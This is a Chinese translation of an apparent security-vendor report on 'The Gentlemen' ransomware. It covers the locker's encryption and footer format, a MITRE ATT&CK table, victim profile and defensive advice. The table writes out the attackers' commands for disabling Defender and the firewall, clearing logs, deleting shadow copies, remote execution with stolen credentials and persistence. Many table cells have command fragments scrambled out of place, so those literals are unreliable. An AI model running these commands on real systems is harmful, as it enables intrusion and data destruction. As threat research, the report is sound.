对于大于 1 MB 的大文件,加密过程会根据可选的速度模式参数而变化,这些参数控制着实际加密的文件大小。该算法不会处理整个文件,而是只加密其中的一小部分。在快速模式下,大约 9% 的文件会被加密;在超快速模式下,大约 3% 的文件会被加密;在极快模式下,只有大约 1% 的文件会受到影响。加密区域是从整个文件中选取的,并以大约 64 KB 的块进行处理。每个块都会被读取,使用 XChaCha20 算法加密,然后写回文件中的相同位置。加密完成后,该函数会在文件末尾添加一个包含字符串的页脚–eph–,页脚后跟 base64 编码的临时公钥和一个换行符。之后是标记部分–marker–GENTLEMEN\\n和最终GENTLEMEN哨兵。存储的临时公钥允许拥有相应私钥的攻击者重新计算共享密钥并重建 nonce,从而解密文件。如果在大文件加密期间指定了任何提高速度的参数(fast,superfast或ultrafast),则所选参数也会附加到文件末尾。
–eph–$BASE64–标记–绅士\n绅士–快速–\n
攻击者的解密器从头部(–eph–字段)获取 base64 编码的值,解码得到临时公钥,并直接将其用作 ChaCha20 密钥。然后,它sharedSecret = X25519(attacker_privKey, ephemeralPubKey)使用攻击者自己的私钥重新计算,并将前 24 个字节用作sharedSecret2ChaCha20 随机数。密钥和随机数恢复后,即可解密加密文件。

MITRE ATT&CK 矩阵

战术 技术/子技术 描述
初始访问 有效账户(T1078 攻击者已在域控制器上拥有 Domain Admin 权限并处于活跃状态; --spread "domain\\user:password" 利用窃取的域凭据进行远程执行和横向移动。
初始访问 外部远程服务(T1133)  (推断) 初始入侵未直接观察到;上下文表明可能通过暴露的远程服务(例如 RDP/VPN)进行入侵,但攻击活动的证据是在 DC 上遭到入侵后才开始的。
执行 命令外壳(T1059.003 广泛 cmd.exe /C 使用 :  systeminfo,,,,,,,,, 等等 。 whoamidir c:\\userstype \\\\host\\share\\file.txttaskkillgpupdate /forcenetrd
执行 PowerShell ( T1059.001) 通过 PowerShell 篡改 Defender 和更改防火墙;内部 HTTP 下载 grand.exe 到 ;使用 多步骤 PowerShell 脚本c:\\programdata\\r.exe进行广泛的基于脚本的横向移动 ( … )。Invoke-CommandSCRIPT_ASCRIPT_G
执行 Windows 管理规范 ( T1047) wmic /node:<target> process call create "<DEFENDER_SCRIPT_A>" 并 wmic ... "C:\\Temp\\<exe> <creds>" 执行远程主机上的脚本和锁定程序。
执行 计划任务/作业:计划任务(T1053.005 创建本地和远程 任务 :  ,,,,,,, 用于 UpdateSystem执行 和  持久 化 。 UpdateUserDefUDefSUpdateGUUpdateGU2UpdateGSUpdateGS2schtasks /Create /S <target> ... /Run
执行 系统服务:服务执行(T1569.002 远程服务 DefSvc,  通过创建和启动  来  运行勒索软件或辅助脚本UpdateSvc。 UpdateSvc2sc \\\\<target> create ...sc \\\\<target> start ...
执行 原生 API ( T1106) 使用 SystemParametersInfoW 设置 gentlemen.bmp 为壁纸;动态加载 和 mpr.dll 调用 WNetOpenEnumW,  枚举网络共享。WNetEnumResourceWWNetCloseEnum
执行 用户执行:恶意文件(T1204.002 操作员驱动的在端点上执行勒索软件有效载荷(,,,  r.exeGPO 部署的锁定程序)作为入侵的最后阶段。g.exeo.exe
持久性 计划任务/作业:计划任务(T1053.005 通过本地持久化 schtasks /Create /SC ONSTART /TN UpdateSystem /TR "<exe> <args>" /RU SYSTEM;在多个主机上执行远程任务,确保锁定器的重复执行和持久性。
持久性 注册表运行项/启动文件夹(T1060 已添加运行键: reg add HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v GupdateU /t REG_SZ /d "<exe>" /f 用于在用户上下文中自动启动勒索软件。
持久性 创建或修改系统进程:Windows 服务 ( T1543.003) 在远程主机上创建新服务(DefSvc,,  UpdateSvc) UpdateSvc2以执行勒索软件或辅助逻辑,通常以 身份运行 SYSTEM
持久性 启动或登录自动启动执行:rc.local( T1547.009) ESXi/Linux 变体将自身复制到 /bin/.vmware-authd 并配置 /etc/rc.local.d/local.sh 为 sleep 30 && /bin/.vmware-authd <original_argv> & 在启动时自动运行。
持久性 计划任务/作业:Cron( T1053.003) ESXi 变体 @reboot sleep 60 && /bin/.vmware-authd <original_argv> 通过 添加 cron 条目crontab -提供额外的启动持久性。
持久性 启动或登录初始化脚本(T1037.004 结合使用 rc.local ( /etc/rc.local.d/local.sh) 和 cron @reboot 脚本可确保在 ESXi 主机重启后锁定程序重新启动。
持久性 入口工具传输(T1105 --gpo 部署模式将 Locker 复制到 GPO 路径\\\\<domain>\\NETLOGON\\<exe> 并注入 ScheduledTasks.xml 其中;然后所有域计算机通过 GPO 计划任务拉取并执行 Locker。
权限提升 有效账户(T1078 使用 PsExec ( -u <domain\\user> -p <pass>) 窃取域管理员和其他域凭据--spread 来执行特权远程执行和横向移动。
权限提升 计划任务/作业:计划任务(T1053.005 创建为以 SYSTEM ( /RU SYSTEM) 身份运行的任务(本地和通过 GPO)会将权限从用户提升到本地系统上下文,以实现文件加密和防御规避。
权限提升 创建或修改系统进程:Windows 服务 ( T1543.003) 攻击者创建配置为在远程主机上以高权限服务帐户(通常是 SYSTEM)运行的新服务,以执行勒索软件组件。
防御闪避 削弱防御:禁用或修改工具(T1562.001 Defender 已禁用并被削弱 ;已添加排除项, Set-MpPreference -DisableRealtimeMonitoring $true包括 C:\\、、 和勒索软件进程;这些操作通过脚本在本地和远程执行。C:\\Temp\\\\<host>\\share$
防御闪避 削弱防御:禁用或修改系统防火墙(T1562.004 全局防火墙已禁用:  netsh advfirewall set allprofiles state off,  Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False;防火墙服务 mpssvc 已停止并设置为禁用。
防御闪避 削弱防御:禁用或修改云/网络安全(T1562.007 攻击者启用 SMB1(Enable-WindowsOptionalFeature ... SMB1Protocol),放宽 LSA 匿名访问(EveryoneIncludesAnonymous=1,  ),并使用 + RestrictAnonymous=0设置开放的网络共享 ,从而降低网络/分段保护。net shareicacls
防御闪避 主机上的指示器移除:清除 Windows 事件日志(T1070.001 wevtutil cl System执行 wevtutil cl Application此 wevtutil cl Security 操作是为了删除 Windows 事件日志并阻碍取证重建。
防御闪避 主机上的指示器移除:文件删除(T1070.004 已移除取证工件:预取(C:\\Windows\\Prefetch\\*.*)、Defender 日志(C:\\ProgramData\\Microsoft\\Windows Defender\\Support\\*.*)、RDP 日志(%SystemRoot%\\System32\\LogFiles\\RDP*\\*.*), 以及通过 以 64 MB 块$Recycle.Bin覆盖可用空间 。wipefile.tmp
防御闪避 主机上的指示器移除:Timestomp ( T1070.006)  (隐式) 报告注释 --silent 避免了文件重命名和时间戳更改;默认行为暗示会更改名称/时间戳,从而妨碍时间线重建和基于签名的检测。
防御闪避 伪装:伪装任务或服务(T1036.004 ESXi 锁定程序被放置在 /bin/.vmware-authd,伪装成合法的 VMware vmware-authd 守护程序。
防御闪避 伪装:匹配合法名称或位置(T1036.005 勒索软件组件使用通用名称(r.exe,,  g.exe) o.exe和常见位置(C:\\ProgramData\\,, C:\\Temp\\管理员共享)来与正常工具和管理员活动混为一谈。
防御闪避 隐藏工件:隐藏窗口/二进制(T1564.003 ESXi 二进制文件使用前导点 .vmware-authd 来隐藏; --silent 在 Windows 系统上,该程序会避免显示壁纸和重命名等可见的 UI 更改,从而在后台静默运行勒索软件。
防御闪避 混淆/加密工件(T1027 每个文件使用临时 X25519 密钥和 XChaCha20 加密,以及页脚标记(`–eph–<base64_ephemeral_pubkey>–marker–GENTLEMEN\nGENTLEMEN[–fast`)
凭证访问 操作系统凭证转储(T1003 Mimikatz 从内存中恢复的痕迹显示,被入侵的工作站中泄露了域凭据和存储的密钥。
凭证访问 来自密码存储的凭据(T1555 Mimikatz 转储可能包含来自 Windows 凭据管理器/密码存储的密码,这些密码稍后将用于 --spread PsExec。
发现 系统信息发现(T1082 cmd.exe /C systeminfo 在被入侵的主机上运行,以收集操作系统和硬件信息。
发现 账户发现(T1033 cmd.exe /C whoami 在多个主机上确认身份和上下文。
发现 账户发现:域账户(T1087.002 net group "Domain Admins" /domain 并 net group "Enterprise Admins" /domain 执行以枚举域级特权组。
发现 域信任发现(T1482 nltest /domain_trusts( nltest /dclist 隐含地)识别域信任关系和域控制器。
发现 远程系统发现(T1018 通过枚举域计算机 Get-ADComputer -Filter *;在执行横向移动步骤之前,对每个主机进行 ping 以确认可达性。
发现 权限组发现:域组(T1069.002 net group "Domain Admins" /domain 以及类似的命令来发现特权组成员身份。
发现 网络共享发现(T1135 mpr.dll 动态加载;  ,, WNetOpenEnumW用于  在启用网络发现服务后枚举可用的网络共享。WNetEnumResourceWWNetCloseEnum
发现 文件和目录发现(T1083 cmd.exe /C dir c:\\users;通过UNC路径读取文件服务器上的内部文件(例如中文“公司主机记录.txt”)。
发现 软件发现:安全软件发现(T1518.001 wmic product where Name like '%kaspe%' get Name, IdentifyingNumber 执行此操作以识别已安装的卡巴斯基(或类似)安全产品。
发现 网络服务扫描(T1046)  (部分推断) 虽然没有显示明确的端口扫描,但在 ping 主机后通过 PsExec、WMI、远程服务和计划任务进行的大规模多协议横向尝试表明了服务可达性探测。
横向移动 远程服务:SMB/Windows 管理共享(T1021.002 有效载荷减少到 \\\\<hostname>\\ADMIN$\\<random>.exe,  \\\\<target>\\C$\\Temp\\<exe>;创建了共享 share$=C:\\Temp ,并通过 ACL 扩大了范围 icacls ,以支持匿名/所有人访问。
横向移动 远程服务:RPC(T1021.001 Cobalt Strike 和后续勒索软件有效载荷在复制到管理员共享后,通过域控制器上的 RPC 执行。
横向移动 远程服务与服务执行(T1021.001 +  T1569.002 psexec \\\\<target> -accepteula -d -s/-h ... 用于远程执行,以及远程 sc create/sc start 运行服务 DefSvc,  UpdateSvc*
横向移动 远程服务:Windows 远程管理 ( T1021.006) 使用PowerShell Invoke-Command -ComputerName <target> -ScriptBlock {...} 禁用 Defender、设置排除项以及在远程计算机上启动锁定程序。
横向移动 Windows 管理规范 ( T1047) wmic /node:<target> process call create "<DEFENDER_SCRIPT_A>" 并 wmic /node:<target> process call create "C:\\Temp\\<exe> <creds>" 远程运行脚本和锁定程序。
横向移动 计划任务/作业:计划任务(T1053.005 在多个主机上创建并使用 和 执行的  远程 计划任务(DefU,,,  DefS)  UpdateGU*。 UpdateGS*/S <target>/Run
横向移动 横向工具转移(T1570 储物柜已复制 xcopy "<exe>" "\\\\<target>\\C$\\Temp\\" /Y /I /C /H /R /K ,并可通过远程系统访问 \\\\<host>\\share$\\<exe> 。
横向移动 远程服务:RDP(T1021.001 通过防火墙规则启用“远程桌面”组,从而启用 RDP 访问 reg add ...\\Terminal Server /v fDenyTSConnections /d 0 /f ,支持交互式横向移动。
横向移动 入口工具传输(T1105 DC 上的内部 HTTP 服务器 grand.exe 在 8080 端口上提供服务,通过 PowerShell downloadfile(...) 获取 c:\\programdata\\r.exe
指挥与控制 代理:多跳代理(T1090.003 SystemBC (socks.exe)已部署;尝试向 C2 发送出站 45.86.230[.]112请求;充当 C2 隧道和枢轴的加密 SOCKS 代理。
指挥与控制 入口工具传输(T1105 Cobalt Strike 有效载荷和勒索软件组件通过 HTTP、SMB(ADMIN$,  C$)和 NETLOGON 共享传输,作为 C2 和暂存的一部分。
指挥与控制 应用层协议:Web 协议(T1071.001 Cobalt Strike 信标从 rundll32.exe 使用 91.107.247[.]163 端口 443 和后来的 80 (HTTPS/HTTP)。
指挥与控制 加密通道:非对称加密(T1573.002 Cobalt Strike 使用加密的 HTTPS; SystemBC 使用 RC4 加密的 SOCKS 隧道;两者都提供加密的 C2 通道。
渗漏 通过 C2 通道渗漏 ( T1041) 勒索信声称“我们已经窃取了您所有的机密和业务数据(包括 NAS、云等)”;虽然没有显示详细信息,但暗示数据是通过 C2/远程访问工具(Cobalt Strike、SystemBC、AnyDesk)窃取的。
冲击(勒索) 勒索中的数据销毁(T1654 如果受害者试图恢复数据或拒绝谈判,就会受到“所有数据和网络将被不可逆转地擦除”的威胁,同时还会定时在泄露网站上发布相关信息。
冲击(勒索) 金融盗窃/勒索(T1657 经典的双重勒索:要求支付解密费用并防止公开泄露;使用 Tox ID、Session、Tor 博客 tezwsse5czllksjb7cwp65rvnk4oobmzti2znn42i43bjdfd2prqqkad.onion和 X 帐户 TheGentlemen25
影响 数据加密以产生影响(T1486 多操作系统加密存储(Windows/Linux/ESXi);对于大型文件,仅使用 XChaCha20 加密 1-9%(取决于 --fast--superfast/ );每个文件的页脚包含.--ultrafast--eph--<base64>--marker--GENTLEMEN\\nGENTLEMEN[...]--
影响 抑制系统恢复(T1490 vssadmin delete shadows /all /quiet 通过和 删除卷影副本 wmic shadowcopy delete; $Recycle.Bin 已删除;日志和预取已删除;可选 --wipe 模式使用 覆盖可用空间 wipefile.tmp
影响 服务停止(T1489 服务(包括防火墙 mpssvc 和可能的防病毒/备份服务)已通过以下方式停止和 sc stop <service> 禁用 sc config <service> start=disabled
影响 污损:内部污损(T1491.001 桌面背景被更改为嵌入式 gentlemen.bmp 写入 %TEMP% 并通过应用 SystemParametersInfoW,向受害者发出入侵信号。
谁会受到打击

“绅士帮”的攻击大多是机会主义的,而非有针对性的。他们会寻找那些拥有暴露且易受攻击的互联网基础设施(例如:VPN、远程访问网关、防火墙管理门户)的组织,并利用这些基础设施作为攻击入口。

制造业和科技公司是最大的受害者群体,这与勒索软件攻击的整体趋势相符。更值得注意的是,医疗保健行业是第三大攻击目标。一些勒索软件组织出于非正式的策略或自保考虑,会避免攻击医院。“绅士帮”似乎并没有遵守这一限制。

从地域上看,美国是受害者人数最多的国家,英国和德国的受害者人数也相当可观。CPR从该组织的公开泄露网站以及从关联攻击者的服务器上获取的独立遥测数据证实了这一模式。

CPR在攻击者的服务器上发现了什么

在一次事件响应过程中,Check Point Research 的调查人员发现,Gentlemen 的一个关联组织部署的基础设施与一个规模远超单一事件所暗示的庞大行动相连。通过访问相关的指挥控制服务器,研究人员得以观察到一个由超过 1570 家疑似受害企业组成的僵尸网络。这些企业的系统已被悄然入侵,正等待着进一步的行动。

这个数字意义重大,原因有二。首先,它超过了该组织公开宣称的受害者人数,表明其活动的实际规模远大于其泄露网站上所显示的。其次,受害者的特征(企业系统、已加入域的机器、企业凭证)证实,这并非针对普通消费者的机会主义攻击。这些都是企业机构,而且他们的数据很可能早已被准备好用于数据窃取。

速度是决定性特征

在CPR响应的这起事件中,攻击者已获得域级管理权限。此后,入侵迅速升级:在整个环境中进行凭证验证,横向移动到数十台主机,禁用安全工具,最终通过组策略触发域级勒索软件部署,同时攻击所有连接的计算机。

此次攻击的速度和协调性表明,该组织已经对其行动方案进行了完善。其成员并非即兴发挥,而是在执行一套经过验证、有据可查的流程,旨在防御方做出反应之前最大限度地扩大攻击效果。

应该做什么

这些攻击者并非利用新型零日漏洞或通过奇特手段绕过安全防护。他们最初的入侵主要依赖于未打补丁或配置错误的联网设备。而这些漏洞正是多年来安全人员一直被建议优先防范的。

基本面仍然是最重要的防御性投资:

  • 首先要修补面向互联网的基础设施:  VPN、防火墙和远程访问网关是主要入口点。必须像对待面向公众的 Web 应用程序一样,优先处理这些设备。
  • 假设凭证泄露: 绅士帮成员会迅速从初始访问权限升级到域级控制。多因素身份验证和特权访问控制是不可或缺的。
  • 测试备份和恢复能力: 一个功能完善且相互隔离的备份是限制勒索软件影响的最有效工具。许多组织在遭受攻击后才发现其备份策略不足,而不是事先预防。
  • 不仅要监控边界突破,还要监控横向移动: 勒索软件引爆时,攻击者通常已经潜伏了一段时间。在横向移动阶段进行检测,是阻止正在进行的攻击的最佳时机。
  • 网络分段: 通过组策略实现域级加密只有在攻击者拥有域控制器访问权限并能访问所有端点时才可行。网络分段可以限制攻击者的访问范围以及成功入侵后的影响半径。

“绅士帮”的崛起揭示了勒索软件领域面临的结构性挑战:建立专业勒索软件即服务(RaaS)运营的门槛已大幅降低。极具吸引力的收入分成、功能强大的加密存储系统以及泄露网站足以吸引那些拥有自身权限和专业知识的合作伙伴。即使技术上并不突破性,该运营也无需具备大规模破坏力。